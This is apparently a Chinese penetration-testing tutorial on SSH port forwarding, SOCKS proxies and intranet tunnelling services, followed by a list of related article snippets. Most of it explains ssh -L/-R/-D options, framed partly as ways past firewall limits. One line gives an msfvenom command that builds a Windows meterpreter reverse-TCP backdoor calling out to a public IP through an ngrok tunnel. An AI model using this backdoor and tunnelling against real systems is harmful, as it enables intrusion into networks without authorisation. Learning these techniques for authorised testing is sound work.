    1. 本地访问127.0.0.1:port1就是host:port2(用的更多)
    2. ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
    3. 访问host:port2就是访问127.0.0.1:port1
    4. ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
    5. 可以将dmz_hosthostport端口通过remote_ip转发到本地的port端口
    6. ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port
    7. 可以将dmz_hosthostport端口转发到remote_ipport端口
    8. ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类
    9. socket代理:
    10. ssh -qTfnN -D port remotehost
    11. 参数详解:
    12. -q Quiet mode. 安静模式
    13. -T Disable pseudo-tty allocation. 不占用 shell
    14. -f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
    15. -N Do not execute a remote command. 不执行远程命令,端口转发就用它了
    16. -L port:host:hostport
    17. 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
    18. -R port:host:hostport
    19. 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
    20. -D port
    21. 指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

    0x05.1 ssh本地转发

    远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地1234端口

    1. ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121

    0x05.2 ssh远程转发

    内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。

    1. ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142

    现在在192.168.153.142访问127.0.0.1:81就是访问内网的服务器的80端口。

    0x05.2 ssh动态转发socks代理

    把远程主机设置成代理,来代理访问不能访问的资源。在地机器上分配了一个监听端口, 一旦这个端口上有了连接,该连接就经过ssh隧道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接。

    1. ssh -qTfnN -D 1080 root@45.32.31.121

    0x06 内网穿透平台

    例如https://www.ngrok.cc/、https://natapp.cn/等
    以ngrok为例,注册并开通隧道

    下载对应的客户端,下载地址为:https://www.ngrok.cc/#down-client 。
    运行

    生成backdoor。监听的IP为server.ngrok.cc的ip,端口为开通隧道时填写的远程端口

    1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56 LPORT=52524 -f exe > shell.exe

    kali上执行

    0x07 参考

    1. SSH隧道与端口转发及内网穿透
    2. SSH的端口转发
    3. 内网渗透随想
    4. 从零开始内网渗透学习
    5. 内网渗透中转发工具总结
    6. MS17-010漏洞检测与内网穿透技术的应用
    7. 内网漫游之SOCKS代理大结局
    8. 正向代理和反向代理的区别

    http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html
    </article>
    
    展开全文
  • 本地端口转发 想象这样一个场景,在局域网里面,有一个主机A,由于限制,主机A不能访问外网,现在要使其能够访问外网的一台主机C。而局域网中有一台边界主机B,B既可以与主机A通信,也可以与外网通信,这时我们可以...
  • 通过本文的介绍,读者可以从中了解到如何应用 SSH 端口转发机制来解决日常工作 / 生活中的一些问题。学会在非安全环境下使用端口转发来加密网络应用,保护个人隐私以及重要商业信息。同时也能够用此技术解决工作中...
  • 端口转发和端口映射

    2020-03-22 11:37:00
    端口转发和端口映射 两者的区别 端口转发和端口映射 介绍端口转发和端口映射之前先了解两个概念:正向连接和反向连接 正向连接:你的机器连接目标机器 反向连接:目标机器反连你的机器 端口映射:端口映射就是...
  • 端口转发&端口映射 在实际渗透过程中,我们成功入侵了目标服务器。接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口、内网网站8080端口等等。传统的...
  • 0x00 背景 端口转发是一个常用的功能,不管是在服务器运维还是在***领域,都需要用到。在近期遇到一个问题就是一个服务的端口不能进行配置,但是由于出口硬件防火墙的原因,为了不修改硬件防火墙的策略,所以只能在...
  • 80端口转发22端口

    2018-07-30 12:55:39
    背景:公司内网只开发80端口,想连接自己的远程主机。 设备: A阿里云主机公网IP:106.14.253.11 B家庭局域网主机IP:192.168.0.103 C公司局域网主机IP:192.168.50.100 现在要通过C主机:192.168.50.100 ...
  • 摘要:端口转发也称端口映射,基本使用的有两种方式,本机端口转发,跨IP端口转发。 本机端口转发 应用场景:我要搭建一台Linux server,使用tomcat作为web容器,让别人维护web项目的发布,这时候会给他们一个...
  • 前言 本文所写的远程为各个电脑在同一个网段内 本文主要详细介绍如何远程访问虚拟机里面的项目! 机器:虚拟机(装在电脑1里)、电脑1(宿...step3:添加一个端口转发 主机端口:随便选取一个宿主机没有被占用...
  • Nginx 实现端口转发

    2019-10-19 17:14:38
    什么是端口转发 当我们在服务器上搭建一个图书以及一个电影的应用,其中图书应用启动了 8001 端口,电影应用启动了 8002 端口。此时如果我们可以通过 localhost:8001 //图书 localhost:8002 //电影 访问,但我们...
  • 应用场景如:原本有个服务程序在PC2上运行,侦听着PC2上的B端口,现在希望在不动PC2及服务程序的前提下,外界能通过PC1的A端口与PC2上服务程序通信,这时就需要用端口映射(端口转发)来解决。 将PC1的A端口映射到...
  • 端口映射和端口转发的区别 端口转发端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。在内网建立和运行网络服务器或FTP服务器是没办法使外网用户直接访问的,通过在...
  • 最近在部署一个小程序的后台,但是小程序调用的接口是不能带端口号的,那么如果服务器上面80端口已经被其他程序占用,就只能采用端口转发或者虚拟目录,我采用的是端口转发,或者说当在一台主机上需要部署多个web...
  • 0x00 前言在Windows系统中,从XP开始就内嵌了一个设置网络端口转发的功能。依靠这个功能,任何到本地端口的TCP连接(ipv4或者ipv6)都能够被转发到任意一个本地端口,甚至是远程主机的某个端口。并且,Windows系统并...
  • Windows下端口转发,以实现远程端口3389为例 场景如下 先说明一下场景,中转机器A处于局域网环境内,IP为192.168.1.10(同时作为虚拟机B的网关192.168.137.1),机器A中安装有不同网段的虚拟机B,IP为192.168....
  • 防火墙:首先,先来说下如何设置端口转发。点击上方的 端口转发:新建端口转发 处填写名称(随便)外网端口 内部IP地址 内网端口。图中的设置表示将外网82端口上的TCP数据转发到内网192.168.1.11的80端口上。 设置...
1 2 3 4 5 ... 20
收藏数 206,120
精华内容 82,448
热门标签
关键字:

端口转发